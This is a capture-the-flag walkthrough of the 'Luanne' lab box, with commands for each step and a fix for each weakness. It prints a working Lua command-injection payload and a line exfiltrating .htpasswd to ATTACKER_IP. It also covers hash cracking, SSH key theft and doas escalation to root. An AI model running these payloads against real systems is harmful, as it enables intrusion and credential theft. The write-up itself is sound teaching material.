← all walkthroughs

Luanne

Other· Easy
owned
2026-07-06
time to own
8m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target ($TARGET) and found three services: nginx on port 80 requiring HTTP Basic Auth, SSH on port 22, and an unknown listener on port 9001. The nginx 401 error page inadvertently embedded a hyperlink to an internal back-end at 127.0.0.1:3000, and the server's robots.txt file explicitly advertised the /weather path while noting it remained active. The /weather/forecast endpoint passed the city query parameter directly into a Lua execution context without sanitisation; injecting an os.execute call caused a measurable 3-second delay, confirming blind OS command injection with no authentication required.

That injection was used to read /var/www/.htpasswd, which contained an MD5-crypt hash for webapi_user; offline cracking with hashcat recovered the plaintext '[REDACTED: recovered credential]' in seconds. Those credentials satisfied the nginx HTTP Basic Auth and, via its reverse proxy, gave access to an internal bozohttpd file-server serving r.michaels' home directory with no path restrictions. A single authenticated HTTP request retrieved r.michaels' unencrypted SSH private key from the .ssh subdirectory, which opened an interactive shell on the host.

Inside r.michaels' home directory, a PGP-encrypted development backup was decryptable using the resident user keyring; the extracted archive contained a .htpasswd file whose MD5-crypt hash cracked to '[REDACTED: recovered credential]' — the same password configured for doas privilege escalation. The doas utility was configured to permit r.michaels to execute any command as root, so supplying '[REDACTED: recovered credential]' at the prompt produced an unrestricted root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1EnumerationInformation Disclosure via robots.txt and HTTP error response body (T1592.002)
Mapped exposed services and discovered the undocumented weather endpoint via information disclosures
A service scan revealed nginx on port 80 (returning 401 with HTTP Basic Auth), SSH on port 22, and a listener on port 9001. The 401 response body contained an embedded hyperlink to the internal address 127.0.0.1:3000, disclosing the back-end architecture to unauthenticated visitors. Fetching robots.txt surfaced the /weather path; the file's own comment stated the endpoint still accepted requests despite returning 404, explicitly flagging it as an active but hidden attack surface.
HTTP/1.1 401 Unauthorized Server: nginx/1.19.0 WWW-Authenticate: Basic realm="." ... <address><a href="//127.0.0.1:3000/"; robots.txt: Disallow: /weather #returning 404 but still harvesting cities
Exact commands 3
Version and default-script scan on discovered ports.
nmap -sC -sV -p 22,80,9001 $TARGET
Observe the 401 body for the embedded 127.0.0.1:3000 reference.
curl -si http://$TARGET/ | head -40
Read robots.txt — /weather is listed with a comment confirming it is active.
curl -s http://$TARGET/robots.txt
FixRemove application endpoint paths from robots.txtLow
WeaknessThe robots.txt file listed the /weather path and annotated it with a comment confirming it was still active, advertising a hidden attack surface to anyone who inspected the file during reconnaissance. robots.txt is publicly readable and is routinely examined in early-stage enumeration.
FixRemove all application path entries from robots.txt. Access controls and authentication — not robots.txt — are the correct mechanism for protecting endpoints. If search-engine exclusion is needed for specific pages, apply a noindex meta tag to those pages rather than listing paths in robots.txt.
2ExploitationServer-Side Lua Code Injection with time-based blind confirmation (T1059)
Confirmed unauthenticated blind Lua command injection in /weather/forecast
The city query parameter in /weather/forecast was concatenated directly into a Lua expression and evaluated, with the Lua 'os' library available. Appending a closing parenthesis, a call to os.execute('sleep 3'), and a Lua comment token caused the server to respond in 3.1 seconds versus a 0.08-second baseline, confirming time-delayed blind OS command execution. Error messages in malformed requests also disclosed the Lua source at /usr/local/webapi/weather.lua, confirming the runtime and file location.
PAYLOAD=') os.execute('sleep 3') -- time=3.109372 code=500 (vs baseline time=0.084496 code=500); Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
Exact commands 2
Baseline timing — expect ~0.08 s.
curl -s -o /dev/null -w '%{time_total}\n' "http://$TARGET/weather/forecast?city=list"
Inject sleep payload; a ~3 s delay confirms blind code execution.
curl -s -o /dev/null -w '%{time_total}\n' "http://$TARGET/weather/forecast?city=%27)%20os.execute(%27sleep%203%27)%20--"
FixSanitize weather API input and remove OS execution capability from the Lua environmentCritical
WeaknessThe /weather/forecast endpoint inserted the 'city' query parameter directly into a Lua expression and evaluated it with the 'os' library available. An unauthorised user appended a closing parenthesis and a call to os.execute() to run arbitrary OS commands as the web-server process.
FixValidate 'city' against a strict allowlist of known city names, or reject any value containing characters outside alphanumerics and hyphens, before using it in any Lua context. Disable the 'os' and 'io' standard libraries in the Lua sandbox by setting them to nil at script startup. Suppress verbose Lua error messages in production responses so that file paths and runtime details are not disclosed to callers.
3ExploitationCredential Access via Out-of-Band File Exfiltration and Offline Hash Cracking (T1110.002)
Exfiltrated /var/www/.htpasswd via the injection and cracked the webapi_user credential
With OS execution confirmed, an os.execute payload read /var/www/.htpasswd and beaconed the hex-encoded content to my own HTTP listener. The captured data decoded to the MD5-crypt hash for webapi_user ([REDACTED: password hash]). Hashcat cracked it against the rockyou wordlist in seconds, recovering the plaintext password '[REDACTED: recovered credential]'.
Hex dump decodes to 'webapi_user:[REDACTED: password hash]'; webapi_user:[REDACTED: recovered credential] — 1 password hash cracked, 0 left
Exact commands 3
Start HTTP listener on my machine to receive the exfiltrated file content.
python3 -m http.server 8080
Inject payload to read .htpasswd and beacon the hex-encoded content; replace $ATTACKER_IP.
curl -s "http://$TARGET/weather/forecast?city=%27)%20os.execute(%27curl%20http%3A%2F%2FATTACKER_IP%3A8080%2F%3Fd%3D%24(xxd%20-p%20%2Fvar%2Fwww%2F.htpasswd)%27)%20--"
Crack the MD5-crypt hash (hashcat mode 500); recovers '[REDACTED: recovered credential]'.
echo "$HASH" > hash.txt && hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
FixRelocate .htpasswd outside the web root and upgrade to a strong password hashing schemeHigh
WeaknessThe credential file /var/www/.htpasswd was stored inside the web root and was readable by the nginx worker process. The Lua injection allowed an unauthorised user to read this file directly; the MD5-crypt ($1$) hashes it contained were cracked in seconds with a common wordlist.
FixMove .htpasswd to a directory outside the web root owned by root and readable only by the nginx worker group (e.g., /etc/nginx/.htpasswd, permissions 640). Update the nginx auth_basic_user_file directive to point to the new path. Regenerate all credential entries using bcrypt (htpasswd -B) or Argon2, which are computationally expensive to crack even with a wordlist.
4Credential ReuseCredential Reuse and Exposed SSH Private Key via Misconfigured Internal File Server (T1552.004)
Authenticated to the internal file-server and retrieved r.michaels' unencrypted SSH private key
The credential webapi_user:[REDACTED: recovered credential] satisfied the HTTP Basic Auth challenge on port 80. Nginx reverse-proxied authenticated requests to the internal bozohttpd instance at 127.0.0.1:3000, which served r.michaels' home directory as a web root with no restrictions on hidden subdirectories. A single HTTP GET to /~r.michaels/.ssh/id_rsa returned the user's RSA private key in plaintext.
Cred-reuse and ssh-key-theft attack patterns; kill chain foothold step uses /tmp/luanne_id_rsa
Exact commands 2
Authenticate to nginx and download r.michaels' private key via the proxied internal file-server.
curl -s -u "webapi_user:$PASSWORD" http://$TARGET/~r.michaels/.ssh/id_rsa -o /tmp/luanne_id_rsa
Set key permissions required by OpenSSH.
chmod 600 /tmp/luanne_id_rsa
FixPrevent the internal file-server from serving the .ssh directory and other sensitive home-directory pathsHigh
WeaknessThe internal bozohttpd instance served r.michaels' entire home directory, including the .ssh/ subdirectory containing an unencrypted SSH private key, through the nginx reverse proxy. Any client authenticated to nginx could download the private key with a single HTTP request.
FixConfigure the internal file-server to deny access to all hidden directories and files (any path component beginning with '.'). Restrict serving to only the specific subdirectories required for the application. If home-directory web serving is not required, disable the feature entirely. Protect all SSH private keys with a strong passphrase so that a stolen key file is not immediately usable.
5FootholdRemote Service: SSH with Stolen Private Key (T1021.004)
Logged in as r.michaels over SSH using the stolen private key
The recovered private key authenticated without a passphrase, providing an interactive shell as r.michaels on the NetBSD host. The user flag was readable in the user's home directory.
Exact commands 2
Open an interactive shell as r.michaels using the stolen key.
ssh -i /tmp/luanne_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null r.michaels@$TARGET
User flag: <user.txt>.
cat /home/r.michaels/user.txt
6Privilege EscalationCredentials Recovered from Encrypted Backup Archive (T1552.001)
Decrypted an encrypted backup and recovered the escalation credential from an embedded .htpasswd
R.michaels' home directory contained a backups/ folder with a PGP-encrypted development archive. The system's built-in netpgp utility decrypted it using r.michaels' own resident keyring, requiring no external passphrase. The extracted archive contained a development .htpasswd file for r.michaels whose MD5-crypt hash cracked to '[REDACTED: recovered credential]' — the same password used for the account's system authentication, demonstrating credential reuse between the development and production environments.
Failed vector 'decrypt backups/devel_backup archive via netpgp and crack embedded md5crypt credential'; kill chain doas password '[REDACTED: recovered credential]' confirmed in root-owned step
Exact commands 4
As r.michaels — locate the encrypted backup archive.
ls ~/backups/
Decrypt using r.michaels' resident PGP keyring; no passphrase prompt expected.
netpgp --decrypt ~/backups/devel_backup-2020-09-16.tar.gz.enc --output /tmp/backup.tar.gz
Extract the archive and print the embedded development credential hash.
tar xzf /tmp/backup.tar.gz -C /tmp/ && cat /tmp/var/www/devel/.htpasswd
Crack the extracted MD5-crypt hash; yields '[REDACTED: recovered credential]'.
echo 'r.michaels:<hash_from_above>' > dev_hash.txt && hashcat -m 500 -a 0 dev_hash.txt /usr/share/wordlists/rockyou.txt
FixRemove credential files from backup archives and store backups outside user home directoriesHigh
WeaknessA PGP-encrypted backup archive in r.michaels' home directory was decryptable using the user's own resident keyring. The archive contained a development .htpasswd file with the user's MD5-crypt system password hash, which cracked to '[REDACTED: recovered credential]' — the same password used for doas escalation.
FixNever include files containing credential hashes (htpasswd files, shadow files, key material) in backups stored on end-user systems. Encrypt backups with a key held by a dedicated backup service account rather than the user's personal keyring. Store backup archives on a separate system with access restricted to the backup service. Rotate all passwords found in the archive and migrate any remaining MD5-crypt hashes to bcrypt or Argon2id.
7Full CompromiseAbuse Elevation Control Mechanism: doas/sudo (T1548.003)
Escalated to root via doas using the recovered password
The doas utility — NetBSD's sudo equivalent — was configured in /etc/doas.conf to permit r.michaels to run any command as root, gated only by the user's own password. Supplying the cracked password '[REDACTED: recovered credential]' at the doas prompt satisfied the check, granting an unrestricted root shell. The root flag was read directly.
Doas cat /root/root.txt; send '[REDACTED: recovered credential]\r'; root flag confirmed
Exact commands 2
From r.michaels' session — enter '[REDACTED: recovered credential]' at the password prompt for a root shell.
doas -u root /bin/sh
Root flag: <root.txt>.
cat /root/root.txt
FixRestrict doas rules to specific minimum-necessary commands and use a dedicated escalation credentialHigh
WeaknessThe /etc/doas.conf rule permitted r.michaels to execute any command as root, protected only by the user's own login password. Once that password was recovered from the backup archive, an unauthorised user had unconditional root access to the entire host.
FixAudit doas.conf and replace any blanket 'permit' rules with command-specific entries listing only the exact binaries and arguments the user operationally requires (e.g., permit r.michaels as root cmd /usr/sbin/service args restart nginx). If a root shell is not needed at all, remove the rule entirely and route administrative tasks through a privileged access management solution. Ensure any required escalation password is a distinct, high-entropy secret that never appears in any file stored on the host.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp
9001/tcp